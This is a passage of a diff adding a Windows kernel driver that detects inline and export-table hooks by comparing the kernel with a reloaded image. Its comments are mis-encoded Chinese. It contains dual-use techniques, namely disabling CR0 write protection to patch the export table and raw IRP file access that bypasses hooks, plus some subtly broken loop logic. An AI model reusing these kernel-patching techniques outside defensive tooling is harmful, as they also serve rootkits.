} + break; + case INSTRUCTION_TYPE_CALL: + if(Inst.opcode==0xFF&&Inst.modrm==0x15) + { + //DIRECT_CALL + ulTemp = (PUCHAR)Inst.op1.displacement; + } + else if (Inst.opcode==0x9A) + { + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + else if(Inst.opcode==0xE8) + { + //RELATIVE_CALL; + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + break; + case INSTRUCTION_TYPE_PUSH: + if(!RMmIsAddressValid((PVOID)(p))) + { + break; + } + get_instruction(&Instb,(BYTE*)(p),MODE_32); + if(Instb.type == INSTRUCTION_TYPE_RET) + { + //StartAddress+len-inst.length-instb.length; + ulTemp = (PUCHAR)Instb.op1.displacement; + } + break; + } + if (ulTemp && + RMmIsAddressValid(ulTemp) && + RMmIsAddressValid(p)) //hookµÄµŘַҲҪÓĐЧ˛ĹżÉŇÔŶ + { + if ((ULONG)ulTemp > SystemKernelModuleBase && + (ULONG)ulTemp < SystemKernelModuleBase+SystemKernelModuleSize) //Ě«˝üµÄĚřҲ˛»ĘÇ + { + goto Next; + } + //ulTempҲ˛»ÄÜСÓÚ SystemKernelModuleBase + if ((ULONG)ulTemp < SystemKernelModuleBase) + { + goto Next; + } + //KdPrint(("%08x-%08x-%08x",p,ulTemp,(SystemKernelModuleBase + SystemKernelModuleSize + 0xfffffff))); + + if (*(ULONG *)ulTemp == 0x00000000 || + *(ULONG *)ulTemp == 0x00000005 || + *(ULONG *)ulTemp == 0xc0000012) + { + goto Next; + } + Flagss = 0; + __asm{ + mov esi,ulTemp + mov ax,word ptr [esi] + cmp ax,0x0000 + jz Cont//ĘÇadd byte ptr [eax],al + //˝áĘř + mov Flagss,1 +Cont: + } + if (Flagss != 1) + goto Next; + + ulTemp = ulTemp+0x5; + //ĽňµĄ´¦Ŕíһ϶ţĽ¶Ěř + if (*ulTemp == 0xe9 || + *ulTemp == 0xe8) + { + ulTemp = (PUCHAR)(*(PULONG)(ulTemp+1)+(ULONG)(ulTemp+5)); + } + FillInlineHookInfo(ulTemp,InlineHookInfo,szFunctionName,(ULONG)p,0); //Inline Hook +Next: + _asm{nop} + } + } + } +} + +//»ńȡµĽłöşŻĘýĎÂŇ»Ľ¶0xe8 callşŻĘýµÄinlinehookcheck +ULONG GetNextFunctionAddress(ULONG ulNtDllModuleBase,ULONG ulOldAddress,char *functionName,PINLINEHOOKINFO InlineHookInfo) +{ + ULONG ulCodeSize; + + ULONG ulNextFunCodeSize; + ULONG ulNextFunReloadCodeSize; + PUCHAR i; + + PUCHAR ulNextFunctionAddress = NULL; + PUCHAR ulReloadNextFunctionAddress = NULL; + BOOL bRetOK = FALSE; + PUCHAR ulTemp; + ULONG ulHookFunctionAddress; + PUCHAR p; + + INSTRUCTION Inst; + INSTRUCTION Instb; + + char lpszHookModuleImage[256]; + ULONG ulHookModuleBase; + ULONG ulHookModuleSize; + int Flagss; + + if (!MmIsAddressValid((PVOID)ulOldAddress)) + { + return bRetOK; + } + __try + { + ulCodeSize = GetFunctionCodeSize((PVOID)ulOldAddress); + for (i=(PUCHAR)ulOldAddress;i < i+ulCodeSize;i++) + { + //ɨĂč¶ţ´ÎĚřת + if (*i == 0xe8) + { + ulNextFunctionAddress = (PUCHAR)(*(PULONG)(i+1)+(ULONG)(i+5)); + if (MmIsAddressValid((PVOID)ulNextFunctionAddress)) + { + //ĹжĎŇ»ĎÂĘÇ·ńĘǵĽłöşŻĘý + if (IsFunctionInExportTable(ulNtDllModuleBase,(ULONG)ulNextFunctionAddress)) + { + return 0; + } + //×öhook ɨĂč + ulReloadNextFunctionAddress = ulNextFunctionAddress - SystemKernelModuleBase + ImageModuleBase; + if (MmIsAddressValid(ulReloadNextFunctionAddress) && + MmIsAddressValid(ulNextFunctionAddress)) + { + ulNextFunCodeSize = GetFunctionCodeSize(ulNextFunctionAddress); + ulNextFunReloadCodeSize = GetFunctionCodeSize(ulReloadNextFunctionAddress); + + if (ulNextFunCodeSize == ulNextFunReloadCodeSize && + memcmp(ulReloadNextFunctionAddress,ulNextFunctionAddress,ulNextFunCodeSize) != 0) + { + //±»hookÁË + for (p = (PUCHAR)ulNextFunctionAddress ;(ULONG)p < (ULONG)ulNextFunctionAddress+ulNextFunCodeSize; p++) + { + //ŐŰ°ëɨĂ裬ČçąűÇ°ĂćŇ»°ëŇ»ŃůŁ¬ÔňżŞĘĽÉ¨ĂčĎÂŇ»°ë + if (memcmp(ulReloadNextFunctionAddress, ulNextFunctionAddress,ulNextFunCodeSize/2) == 0) + { + ulNextFunCodeSize = ulNextFunCodeSize + ulNextFunCodeSize/2; + continue; + } + //ĘÇ·ń˝áĘřŁż + if (*p == 0xcc || + *p == 0xc2) + { + break; + } + ulHookFunctionAddress = (*(PULONG)(p + 1) + (ULONG)p + 5); //µĂµ˝µŘÖ· + if (!RMmIsAddressValid((PVOID)ulHookFunctionAddress)) + { + continue; + } + ulTemp = NULL; + get_instruction(&Inst,p,MODE_32); + switch (Inst.type) + { + case INSTRUCTION_TYPE_JMP: + if(Inst.opcode==0xFF&&Inst.modrm==0x25) + { + //DIRECT_JMP + ulTemp = (PUCHAR)Inst.op1.displacement; + } + else if (Inst.opcode==0xEB) + { + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + else if(Inst.opcode==0xE9) + { + //RELATIVE_JMP; + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + break; + case INSTRUCTION_TYPE_CALL: + if(Inst.opcode==0xFF&&Inst.modrm==0x15) + { + //DIRECT_CALL + ulTemp = (PUCHAR)Inst.op1.displacement; + } + else if (Inst.opcode==0x9A) + { + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + else if(Inst.opcode==0xE8) + { + //RELATIVE_CALL; + ulTemp = (PUCHAR)(p+Inst.op1.immediate); + } + break; + case INSTRUCTION_TYPE_PUSH: + if(!RMmIsAddressValid((PVOID)(p))) + { + break; + } + get_instruction(&Instb,(BYTE*)(p),MODE_32); + if(Instb.type == INSTRUCTION_TYPE_RET) + { + //StartAddress+len-inst.length-instb.length; + ulTemp = (PUCHAR)Instb.op1.displacement; + } + break; + } + if (ulTemp && + MmIsAddressValid(ulTemp) && + MmIsAddressValid(p)) //hookµÄµŘַҲҪÓĐЧ˛ĹżÉŇÔŶ + { + if ((ULONG)ulTemp > SystemKernelModuleBase && + (ULONG)ulTemp < SystemKernelModuleBase+SystemKernelModuleSize) //Ě«˝üµÄĚřҲ˛»ĘÇ + { + goto Next; + } + //ulTempҲ˛»ÄÜСÓÚ SystemKernelModuleBase + if ((ULONG)ulTemp < SystemKernelModuleBase) + { + goto Next; + } + if (*(ULONG *)ulTemp == 0x00000000 || + *(ULONG *)ulTemp == 0x00000005) + { + goto Next; + } + Flagss = 0; + __asm{ + mov esi,ulTemp + mov ax,word ptr [esi] + cmp ax,0x0000 + jz Cont//ĘÇadd byte ptr [eax],al + mov Flagss,1 +Cont: + } + if (Flagss != 1) + goto Next; + + ulTemp = ulTemp+0x5; + //ĽňµĄ´¦Ŕíһ϶ţĽ¶Ěř + if (*ulTemp == 0xe9 || + *ulTemp == 0xe8) + { + ulTemp = (PUCHAR)(*(PULONG)(ulTemp+1)+(ULONG)(ulTemp+5)); + } + FillInlineHookInfo(ulTemp+0x5,InlineHookInfo,functionName,(ULONG)p,2); +Next: + _asm{nop} + } + } + } + } + } + } + //˝áĘřÄń + if (*i == 0xcc || + *i == 0xc2) + { + return 0; + } + } + + }__except(EXCEPTION_EXECUTE_HANDLER){ + + } + + return 0; +} + + + + + + + + + +BOOLEAN IsFunctionInExportTable(ULONG ulModuleBase,ULONG ulFunctionAddress) +{ + + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS NtDllHeader; + IMAGE_OPTIONAL_HEADER opthdr; + DWORD* arrayOfFunctionAddresses; + DWORD* arrayOfFunctionNames; + WORD* arrayOfFunctionOrdinals; + DWORD functionOrdinal; + DWORD Base, x, functionAddress,ulOldAddress; + IMAGE_EXPORT_DIRECTORY *pExportTable; + char *functionName; + + + __try + { + pDosHeader=(PIMAGE_DOS_HEADER)ulModuleBase; + if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return FALSE; + } + NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew); + if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return FALSE; + } + opthdr = NtDllHeader->OptionalHeader; + pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //µĂµ˝µĽłö±í + arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //µŘÖ·±í + arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //şŻĘýĂű±í + arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals); + + Base = pExportTable->Base; + + for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ÔÚŐű¸öµĽłö±íŔďɨĂč + { + //functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]); + functionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; + functionAddress = (DWORD)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[functionOrdinal]); + //KdPrint(("%08x:%s\r\n",functionAddress,functionName)); + //ulOldAddress = GetSystemRoutineAddress(0,functionName); + ulOldAddress = functionAddress - ulModuleBase + SystemKernelModuleBase; + if (ulFunctionAddress == ulOldAddress) + { + //ĘǵĽłöşŻĘýŁ¬ÍËłö + return TRUE; + } + } + + }__except(EXCEPTION_EXECUTE_HANDLER){ + + } + return FALSE; +} + + +BOOLEAN ReSetEatHook(CHAR *lpszFunction,ULONG ulReloadKernelModule,ULONG ulKernelModule) +{ + ULONG ulModuleBase; + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS NtDllHeader; + IMAGE_OPTIONAL_HEADER opthdr; + DWORD* arrayOfFunctionAddresses; + DWORD* arrayOfFunctionNames; + WORD* arrayOfFunctionOrdinals; + DWORD functionOrdinal; + DWORD Base,x,functionAddress; + IMAGE_EXPORT_DIRECTORY *pExportTable; + char *functionName = NULL; + BOOL bIsEatHooked = FALSE; + int position; + ULONG ulFunctionOrdinal; + + //»Ö¸´µÄʱşň ÓĂreloadµÄImageModuleBase + ulModuleBase = ulReloadKernelModule; + pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase; + if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew); + if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + opthdr = NtDllHeader->OptionalHeader; + pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //µĂµ˝µĽłö±í + arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //µŘÖ·±í + arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //şŻĘýĂű±í + arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals); + + Base = pExportTable->Base; + + for(x = 0; x < pExportTable->NumberOfFunctions; x++) //ÔÚŐű¸öµĽłö±íŔďɨĂč + { + functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]); + ulFunctionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; + ulFunctionOrdinal = arrayOfFunctionAddresses[ulFunctionOrdinal]; + + functionAddress = (DWORD)((BYTE*)ulModuleBase + ulFunctionOrdinal); + + if (_stricmp(lpszFunction,functionName) == 0) + { + KdPrint(("reload ulFunctionOrdinal:%08x:%s",ulFunctionOrdinal,functionName)); + + //żŞĘĽ»Ö¸´ + ulModuleBase = ulKernelModule; + pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase; + if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew); + if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + opthdr = NtDllHeader->OptionalHeader; + pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //µĂµ˝µĽłö±í + arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //µŘÖ·±í + arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //şŻĘýĂű±í + arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals); + + Base = pExportTable->Base; + + _asm + { + CLI + MOV EAX, CR0 + AND EAX, NOT 10000H + MOV CR0, EAX + } + arrayOfFunctionAddresses[arrayOfFunctionOrdinals[x] + Base - 1] = ulFunctionOrdinal; + _asm + { + MOV EAX, CR0 + OR EAX, 10000H + MOV CR0, EAX + STI + } + break; + } + } + + return TRUE; +} +ULONG GetEatHook(ULONG ulOldAddress,int x,ULONG ulSystemKernelModuleBase,ULONG ulSystemKernelModuleSize) +{ + ULONG ulModuleBase; + PIMAGE_DOS_HEADER pDosHeader; + PIMAGE_NT_HEADERS NtDllHeader; + IMAGE_OPTIONAL_HEADER opthdr; + DWORD* arrayOfFunctionAddresses; + DWORD* arrayOfFunctionNames; + WORD* arrayOfFunctionOrdinals; + DWORD functionOrdinal; + DWORD Base,functionAddress; + IMAGE_EXPORT_DIRECTORY *pExportTable; + char *functionName = NULL; + BOOL bIsEatHooked = FALSE; + ULONG position = 0; + ULONG ulFunctionOrdinal; + + ulModuleBase = ulSystemKernelModuleBase; + pDosHeader = (PIMAGE_DOS_HEADER)ulModuleBase; + if (pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + NtDllHeader=(PIMAGE_NT_HEADERS)(ULONG)((ULONG)pDosHeader+pDosHeader->e_lfanew); + if (NtDllHeader->Signature!=IMAGE_NT_SIGNATURE) + { + KdPrint(("failed to find NtHeader\r\n")); + return 0; + } + opthdr = NtDllHeader->OptionalHeader; + pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*)ulModuleBase + opthdr.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress); //µĂµ˝µĽłö±í + arrayOfFunctionAddresses = (DWORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfFunctions); //µŘÖ·±í + arrayOfFunctionNames = (DWORD*)((BYTE*)ulModuleBase + pExportTable->AddressOfNames); //şŻĘýĂű±í + arrayOfFunctionOrdinals = (WORD*)( (BYTE*)ulModuleBase + pExportTable->AddressOfNameOrdinals); + + Base = pExportTable->Base; + + functionName = (char*)((BYTE*)ulModuleBase + arrayOfFunctionNames[x]); + ulFunctionOrdinal = arrayOfFunctionOrdinals[x] + Base - 1; + functionAddress = (DWORD)((BYTE*)ulModuleBase + arrayOfFunctionAddresses[ulFunctionOrdinal]); + + if (*functionName == 'Z' && + *(functionName+1) == 'w') + { + position = *((WORD*)(functionAddress + 1)); //µĂµ˝·ţÎńşĹ + if (position > 0 && + position <= OriginalServiceDescriptorTable->TableSize) + { + //µĂµ˝Ô­ĘĽµŘÖ· + functionAddress = OriginalServiceDescriptorTable->ServiceTable[position] - (ULONG)ImageModuleBase + SystemKernelModuleBase; + } + } + if (ulOldAddress != functionAddress) + { + KdPrint(("EAT HOOK %08x:%s\r\n",functionAddress,functionName)); + return functionAddress; + } + return 0; +} + diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h new file mode 100644 index 00000000..b3bf709f --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelHookCheck.h @@ -0,0 +1,11 @@ +#include "DriverEntry.h" + +BOOLEAN KernelHookCheck(PINLINEHOOKINFO InlineHookInfo); + +VOID FillInlineHookInfo(PUCHAR ulTemp,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,ULONG ulOldAddress,ULONG HookType); +VOID CheckFuncByOpcode(PVOID ulReloadAddress,PINLINEHOOKINFO InlineHookInfo,CHAR* szFunctionName,PVOID ulOldAddress); + +ULONG GetNextFunctionAddress(ULONG ulNtDllModuleBase,ULONG ulOldAddress,char *functionName,PINLINEHOOKINFO InlineHookInfo); +BOOLEAN ReSetEatHook(CHAR *lpszFunction,ULONG ulReloadKernelModule,ULONG ulKernelModule); +ULONG GetEatHook(ULONG ulOldAddress,int x,ULONG ulSystemKernelModuleBase,ULONG ulSystemKernelModuleSize); +BOOLEAN IsFunctionInExportTable(ULONG ulModuleBase,ULONG ulFunctionAddress); \ No newline at end of file diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c new file mode 100644 index 00000000..70587ce0 --- /dev/null +++ b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/KernelReload.c @@ -0,0 +1,820 @@ + +#include "KernelReload.h" +#include "FileSystem.h" +#include "FixRelocation.h" + + +/*ZwQuerySystemInformation´ó·¨ öľŮÄŁżéĐĹϢ »ńµĂµÚһģżé Ntos..*/ +BOOLEAN GetSystemKernelModuleInfo(WCHAR **SystemKernelModulePath,PDWORD SystemKernelModuleBase,PDWORD SystemKernelModuleSize) +{ + NTSTATUS status; + ULONG ulSize,i; + PMODULES pModuleList; + char *lpszKernelName=NULL; + ANSI_STRING AnsiKernelModule; + UNICODE_STRING UnicodeKernelModule; + BOOLEAN bRet=TRUE; + + __try + { + status=ZwQuerySystemInformation( + SystemModuleInformation, + NULL, + 0, + &ulSize + ); + if (status != STATUS_INFO_LENGTH_MISMATCH) + { + return FALSE; + } + pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,ulSize); + if (pModuleList) + { + status=ZwQuerySystemInformation( + SystemModuleInformation, + pModuleList, + ulSize, + &ulSize + ); + if (!NT_SUCCESS(status)) + { + bRet = FALSE; + } + } + if (!bRet) + { + if (pModuleList) + ExFreePool(pModuleList); + return FALSE; + } + *SystemKernelModulePath=ExAllocatePool(NonPagedPool,260*2); + if (*SystemKernelModulePath==NULL) + { + *SystemKernelModuleBase=0; + *SystemKernelModuleSize=0; + return FALSE; + } + + lpszKernelName = pModuleList->smi[0].ModuleNameOffset+pModuleList->smi[0].ImageName; //µÚһģżéĂűłĆ + RtlInitAnsiString(&AnsiKernelModule,lpszKernelName); + RtlAnsiStringToUnicodeString(&UnicodeKernelModule,&AnsiKernelModule,TRUE); + + RtlZeroMemory(*SystemKernelModulePath,260*2); + wcscat(*SystemKernelModulePath,L"\\SystemRoot\\system32\\"); + + memcpy( + *SystemKernelModulePath+wcslen(L"\\SystemRoot\\system32\\"), //µÚһģżé·ľ¶ + UnicodeKernelModule.Buffer, + UnicodeKernelModule.Length + ); + + *SystemKernelModuleBase=(DWORD)pModuleList->smi[0].Base; //»ńµĂµÚһģżéµŘÖ· + *SystemKernelModuleSize=(DWORD)pModuleList->smi[0].Size; //»ńµĂµÚһģżé´óС + ExFreePool(pModuleList); + RtlFreeUnicodeString(&UnicodeKernelModule); + + }__except(EXCEPTION_EXECUTE_HANDLER){ + + } + return TRUE; +} + + +/*»ńµĂÎÄĽţ¶ÔĎóÖĐDeviceObjectşÍRealDevice*/ +BOOLEAN IoGetFileSystemVpbInfo(IN PFILE_OBJECT FileObject,PDEVICE_OBJECT *DeviceObject,PDEVICE_OBJECT *RealDevice) +{ + //PDEVICE_OBJECT deviceObject; + // If the file object has a mounted Vpb, use its DeviceObject. + if(FileObject->Vpb != NULL && FileObject->Vpb->DeviceObject != NULL) + { + *DeviceObject = FileObject->Vpb->DeviceObject; + *RealDevice= FileObject->Vpb->RealDevice; + + // Otherwise, if the real device has a VPB that indicates that it is mounted, + // then use the file system device object associated with the VPB. + } + else if + ( + !(FileObject->Flags & FO_DIRECT_DEVICE_OPEN) + && + FileObject->DeviceObject->Vpb != NULL + && + FileObject->DeviceObject->Vpb->DeviceObject != NULL + ) + { + *DeviceObject = FileObject->DeviceObject->Vpb->DeviceObject; + *RealDevice = FileObject->DeviceObject->Vpb->RealDevice; + // Otherwise, just return the real device object. + } + else + { + *DeviceObject = FileObject->DeviceObject; + *RealDevice=NULL; + } + if (*RealDevice==NULL||*DeviceObject==NULL) + { + return FALSE; + } + // Simply return the resultant file object. + return TRUE; +} + + + +//»ńµĂFileObjectÖеÄRealDeviceşÍDeviceObject +BOOLEAN GetDeviceObjectFromFileFullName(WCHAR *FileFullName,PDEVICE_OBJECT *RealDevice, PDEVICE_OBJECT *DeviceObject) +{ + WCHAR wRootName[32]={0}; + UNICODE_STRING RootName; + OBJECT_ATTRIBUTES ObjectAttributes={0}; + NTSTATUS status; + HANDLE hFile; + IO_STATUS_BLOCK IoStatus; + PFILE_OBJECT FileObject; + if (FileFullName[0]==0x005C) + {//in \Windows\system32\ntkrnlpa.exe + wcscpy(wRootName,L"\\SystemRoot"); + } + else + { + wcscpy(wRootName,L"\\DosDevices\\*:\\"); + wRootName[12]=FileFullName[0]; + } + RtlInitUnicodeString(&RootName,wRootName); + + InitializeObjectAttributes(&ObjectAttributes, &RootName, + OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL); + //RootName.Buffer = "\SystemRoot" + status = IoCreateFile( + &hFile, + SYNCHRONIZE, + &ObjectAttributes, + &IoStatus, + 0, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ|FILE_SHARE_WRITE, + FILE_OPEN, + FILE_DIRECTORY_FILE|FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0, + 0, + NULL, + IO_NO_PARAMETER_CHECKING); + + if (!NT_SUCCESS(status)) + { + + return FALSE; + } + status=ObReferenceObjectByHandle(hFile,1,*IoFileObjectType,KernelMode,&FileObject,NULL); + if (!NT_SUCCESS(status)) + { + ZwClose(hFile); + return FALSE; + } + if(!IoGetFileSystemVpbInfo(FileObject,DeviceObject,RealDevice)) //»ńµĂFileObjectÖеÄdeviceObjectşÍRealDevice + { + ObfDereferenceObject(FileObject); + ZwClose(hFile); + return FALSE; + + } + ObfDereferenceObject(FileObject); + ZwClose(hFile); + + return TRUE; + +} + +/*»ńµĂϵͳĿ¼*/ +BOOLEAN GetWindowsRootName(WCHAR *WindowsRootName) +{ + UNICODE_STRING RootName,ObjectName; + OBJECT_ATTRIBUTES ObjectAttributes; + HANDLE hLink; + NTSTATUS status; + WCHAR *SystemRootName=(WCHAR*)0x7FFE0030; + WCHAR *ObjectNameBuffer=(WCHAR*)ExAllocatePool(NonPagedPool,260*2); + if (ObjectNameBuffer==NULL) + { + return FALSE; + } + RtlZeroMemory(ObjectNameBuffer,260*2); + RtlInitUnicodeString(&RootName,L"\\SystemRoot"); + InitializeObjectAttributes(&ObjectAttributes,&RootName,OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL); + status=ZwOpenSymbolicLinkObject(&hLink,1,&ObjectAttributes); + if (NT_SUCCESS(status)) + { + ObjectName.Buffer=ObjectNameBuffer; + ObjectName.Length=0; + ObjectName.MaximumLength=260*2; + status=ZwQuerySymbolicLinkObject(hLink,&ObjectName,NULL); + //ObjectNameBuffer \Device\Harddisk0\Partition1\Windows + if (NT_SUCCESS(status)) + { + int ObjectNameLength=ObjectName.Length/2; + int Index; + for (Index=ObjectNameLength-1;Index>0;Index--) + { + if (ObjectNameBuffer[Index]==0x005C) + { + if (!MmIsAddressValid(&WindowsRootName[ObjectNameLength-Index])) + { + break; + + } + //\Windows WindowsRootName + RtlCopyMemory(WindowsRootName,&ObjectNameBuffer[Index],(ObjectNameLength-Index)*2); + ExFreePool(ObjectNameBuffer); + return TRUE; + } + + } + } + + } + ExFreePool(ObjectNameBuffer); + if (!MmIsAddressValid(SystemRootName)) + { + return FALSE; + } + if (SystemRootName[1]!=0x003A||SystemRootName[2]!=0x005C) + { + return FALSE; + } + wcscpy(WindowsRootName,&SystemRootName[2]); + + return TRUE; + + +} + + +/* +×ÔĽş´´˝¨ÎÄĽţ¶ÔĎ󣬹ŇČëFileObject->IrpList ˛˘·µ»ŘÎÄĽţľä±ú +*/ +//\SystemRoot\system32\ntkrnlpa.exe +NTSTATUS KernelOpenFile(wchar_t *FileFullName, + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + ULONG FileAttributes, + ULONG ShareAccess, + ULONG CreateDisposition, + ULONG CreateOptions) +{ + WCHAR SystemRootName[32]=L"\\SystemRoot"; + WCHAR *FileNodeName=NULL; + UNICODE_STRING FilePath; + PDEVICE_OBJECT RealDevice,DeviceObject; + NTSTATUS status=STATUS_UNSUCCESSFUL; + PFILE_OBJECT FileObject; + + FileNodeName=ExAllocatePool(NonPagedPool,260*2); + if (FileNodeName==NULL) + { + return status; + } + RtlZeroMemory(FileNodeName,260*2); + + if (_wcsnicmp(FileFullName,SystemRootName,wcslen(SystemRootName))==0) //ÍüĽÇĎŕµČ·µ»ŘʲôÁË ˛»ąýÓ¦¸ĂĘDz»ÍęŐű·ľ¶ ŐâŔďĂćĘÇĐ޸´ + { + //in + int Len; + if(!GetWindowsRootName(FileNodeName)) // \Windows + { + ExFreePool(FileNodeName); + return status; + } + Len=wcslen(SystemRootName); + wcscat(FileNodeName,&FileFullName[Len]); + //FileNodeName == \Windows\system32\ntkrnlpa.exe + //FileFullName == \SystemRoot\system32\ntkrnlpa.exe + } + else + { + if (FileFullName[1]!=0x003A||FileFullName[2]!=0x005C) + { + return status; + + } + wcscpy(FileNodeName,&FileFullName[2]); + } + + if(!GetDeviceObjectFromFileFullName(FileFullName,&RealDevice,&DeviceObject)) //»ńµĂFileObjectÖеÄDeviceObjectşÍRealDevice + { + ExFreePool(FileNodeName); + return status; + } + //FileNodeName == \Windows\system32\ntkrnlpa.exe + RtlInitUnicodeString(&FilePath,FileNodeName); + + status=IrpCreateFile(&FilePath,DesiredAccess,FileAttributes,ShareAccess,CreateDisposition,CreateOptions,DeviceObject,RealDevice,&FileObject); + //´´˝¨ÎÄĽţ¶ÔĎó ąŇČëFileObject->IrpListÖĐ + if (!NT_SUCCESS(status)) + { + ExFreePool(FileNodeName); + return status; + } + + //¸ůľÝÎÄĽţ¶ÔĎ󣬻ńµĂÎÄĽţľä±ú + status=ObOpenObjectByPointer( + FileObject, + OBJ_KERNEL_HANDLE, //verifierĎ²âĘÔŇŞÖ¸¶¨OBJ_KERNEL_HANDLE + 0, + DesiredAccess|0x100000, + *IoFileObjectType, + 0, + FileHandle); + + ObfDereferenceObject(FileObject); + + + return status; + +} + + + + +//˛éŃŻirpĐĹϢŁ¬·µ»Řfilesize +NTSTATUS KernelGetFileSize(HANDLE hFile, PLARGE_INTEGER FileSize) +{ + NTSTATUS status; + PFILE_OBJECT FileObject; + PDEVICE_OBJECT DeviceObject,RealDevice; + FILE_STANDARD_INFORMATION FileInformation; + + status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0); + if (!NT_SUCCESS(status)) + { + return status; + } + if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice)) + { + ObDereferenceObject(FileObject); + return STATUS_UNSUCCESSFUL; + } + //˛éŃŻirp¶ŃŐ»ĐĹϢŁ¬´«ČëFileObject + status=IrpQueryInformationFile(FileObject,DeviceObject,&FileInformation,sizeof(FILE_STANDARD_INFORMATION),FileStandardInformation); + if (!NT_SUCCESS(status)) + { + ObDereferenceObject(FileObject); + return status; + } + FileSize->HighPart=FileInformation.EndOfFile.HighPart; + FileSize->LowPart=FileInformation.EndOfFile.LowPart; + ObDereferenceObject(FileObject); + return status; +} + + + + +/* +´«ČëÎÄĽţľä±úˇ˘ÎÄĽţ´óС¶ÁȡÎÄĽţµ˝ÄÚ´ćÖĐ +*/ +NTSTATUS KernelReadFile(HANDLE hFile, PLARGE_INTEGER ByteOffset, ULONG Length, PVOID FileBuffer, PIO_STATUS_BLOCK IoStatusBlock) +{ + NTSTATUS status; + PFILE_OBJECT FileObject; + PDEVICE_OBJECT DeviceObject,RealDevice; + FILE_STANDARD_INFORMATION FileInformation; + status=ObReferenceObjectByHandle(hFile, 0, *IoFileObjectType, KernelMode, &FileObject, 0); + if (!NT_SUCCESS(status)) + { + return status; + } + if(!IoGetFileSystemVpbInfo(FileObject,&DeviceObject,&RealDevice)) + { + ObDereferenceObject(FileObject); + return STATUS_UNSUCCESSFUL; + } + status=IrpReadFile(FileObject,DeviceObject,IoStatusBlock,FileBuffer,Length,ByteOffset); //IrpÇëÇ󣬽«ÎÄĽţ¶ÁČ뻺łĺÇřÖĐ + ObDereferenceObject(FileObject); + return status; 